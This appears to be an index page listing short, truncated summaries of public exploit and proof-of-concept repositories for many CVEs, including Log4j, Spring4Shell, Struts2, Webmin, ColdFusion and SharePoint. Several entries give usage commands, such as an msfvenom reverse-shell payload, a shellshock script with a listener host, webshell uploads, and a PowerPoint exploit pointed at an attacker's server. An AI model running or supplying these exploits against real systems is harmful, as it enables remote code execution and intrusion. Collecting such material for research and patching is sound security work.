CVE-2024-6783

CVE-2024-6783 - Vue CVE A vulnerability has been discovered in Vue, that allows an attacker to perform XSS via prototype pollution. The attacker could change the prototype chain of some properties such as Object.prototype.staticClass or Object.prototype.staticStyle to execute arbitrary JavaScript...

CVE-2020-27955

Git-lfs Remote Code Execution RCE Exploit CVE-2020-27955 .bat / PowerShell-Version Betroffen: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken usw. Entdeckt von Dawid Golunski https://legalhackers.com https://exploitbox.io Getestet unter Windows auf: git,...

POC_CVE-2026-46716

CVE-2026-46716 — RCE Entre-Tenants no Nezha Monitoring via Bypass de Autorização na API Cron Um ambiente de laboratório para reproduzir e detectar CVE-2026-46716 , uma vulnerabilidade crítica no Nezha Monitoring onde o endpoint POST /api/v1/cron carece de verificações de privilégio de...

webmin_docker_and_exp

Docker-webmin-RCE-lab 1. Dockerfiles für die Reproduktion von CVE-2019-15107webmin RCE inklusive v1.890 und v1.920. 2. Exp für jede Version. Image erstellen root@kitploit: First, clone the files Then cd webmin1.890/1.920docker docker build -t hachp1/webmin . Container starten root@kitploit: docke...

LuCI_RCE_exp

EXP di CVE-2019-12272 CVE-2019-12272 è una vulnerabilità di LuCI per eseguire codice bash arbitrario. Dettagli https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20190710-lucirce.html Utilizzo python .\cve-2019-12272bandwidthstatus.py -a 192.168.153.4 -u root -p root -c ls python...

CVE-2023-4220

Chamilo CVE-2023-4220 Exploit La vulnerabilità CVE-2023-4220 è una vulnerabilità di upload di file che colpisce le versioni = 1.11.24 di Chamilo. Questa vulnerabilità consente all'attaccante di ottenere l'esecuzione remota di comandi tramite il caricamento di una webshell nel percorso...

CVE-2023-25136

CVE-2023-25136 Scansione e sfruttamento di massa della vulnerabilità OpenSSH 9.1 Dettagli della vulnerabilità OpenSSH è un software che implementa il protocollo SSH, utilizzato in genere per connettersi in modo sicuro a macchine Linux o Windows per eseguire l'amministrazione remota. La...

CVE-2023-26360-RCE

CVE-2023-26360 - Remote Code Execution auf ColdFusion 2021 Manchmal funktionieren die Skripte nicht beim ersten Versuch. Versuchen Sie es ein paar Mal, damit es funktioniert Ausführung Erstellen eines Payloads mit msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1...

CVE-2020-23934

CVE-2020-23934 Referenzen 1 https://www.exploit-db.com/exploits/48636 2 https://github.com/vj0shii/PRTG-Network-MonitorCMS-Authenticated-Remote-Code-Execution/blob/master/PRTGCMS.py 3 https://stackoverflow.com/questions/12385179/how-to-send-a-multipart-form-data-with-requests-in-python 4...

clone_and_pwn

Intestazioni Titolo Exploit: Clone and Pwn Data: 4 giugno 2018 Autore Exploit: Alejandro Caceres Homepage del Venditore: https://git-scm.com/ Link Software: https://git-scm.com/downloads Versione: codice arbitrario viene eseguito sulle versioni del client git precedenti a 2.13.7, 2.14.x precedent...

cgi-bin-shellshock

Verwendung Repository klonen oder einfach das gewünschte kopieren und einfügen root@kitploit: sudo git clone https://github.com/Gurguii/shellshock.sh Skript ausführen Bash root@kitploit: bash shellshock.sh -u -h -p Python root@kitploit: python3 shellshock.py -u -lh -lp Hinweis: Standard-LPORT ist...

CVE-2025-46816

CVE-2025-46816 POC per lo sfruttamento dell'esecuzione di codice in goshs su versioni 1.0.5...

CVE-2022-22965

CVE-2022-22965 noto anche come "Spring4Shell" Vulnerabilità RCE in Spring Framework via Data Binding su JDK 9+ L'obiettivo è centralizzare la maggiore quantità di informazioni di pubblico dominio sulla vulnerabilità fino ad oggi e sapere quali azioni intraprendere in tal caso. La mia applicazione...

CVE-2021-44228-Log4j-PoC-RCE

Apache Log4j CVE-2021-44228 GK7 PoC Passaggi 1. Compilare Log4jRCE.java e spostare il file .class su un server web es. PHP locale 1. cd src/main/java 2. javac Log4jRCE.java 3. Spostare il file .class su un server web oppure avviare localmente un PHP, ad esempio: php -S 127.0.0.1:8888 2. Avviare i...

CVE-2020-25042-PoC

CVE-2020-25042-PoC Prova di concetto per CVE-2020-25042, un problema di caricamento arbitrario di file in contesto autenticato in Mara CMS 7.5 che può portare all'esecuzione remota di codice. Lo script accede con un account admin/manager valido di Mara CMS, carica un payload PHP tramite...

struts2-jakarta-inject

POC Exploit per CVE-2017-5638 Utilizza questo exploit solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test Installazione Se hai già go installato sul tuo computer, go get è la strada giusta go get github.com/Greynad/struts2-jakarta-inject Utilizzo Esecuzione di un...

CVE-2021-21978

CVE-2021-21978 CVE-2021-21978 RCE exp Betroffene Versionen VMware View Planner Harness 4.X Ähnlich wie CVE-2021-21978 kann diese Schwachstelle ohne Authentifizierung beliebige Dateien hochladen und durch Änderung des mitgelieferten Python-Skripts eine Remote-Code-Ausführung ermöglichen. Es ist zu...

CVE-2017-11882

CVE-2017-11882 Script originale da https://github.com/embedi/CVE-2017-11882 CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE CVE-2017-11882: https://vulners.com/cve/CVE-2017-11882 Research:...

Toolshell_CVE-2025-53770

ToolShell → CVE‑2025‑53770 PoC dell'exploit Questo pacchetto consente: 1. Caricare webshell su SharePoint 2. Estrarre ValidationKey 3. Generare ViewState firmato 4. RCE tramite reverse/bind shell 🔧 Configurazione root@kitploit: git clone cd toolshell-exploit pip3 install -r requirements.txt 🤖...

CVE-2022-30190_EXP_PowerPoint

CVE-2022-30190EXPPowerPoint Questo è l'exploit di CVE-2022-30190 su PowerPoint. Modifica il suffisso del file in 'zip' e decomprimi il file; puoi modificare \ppt\slides\rels\slide1.xml.rels e sostituirlo con il tuo IP:porta della VPS, in questo modo, poi ricomprimi come prima e cambia il suffisso...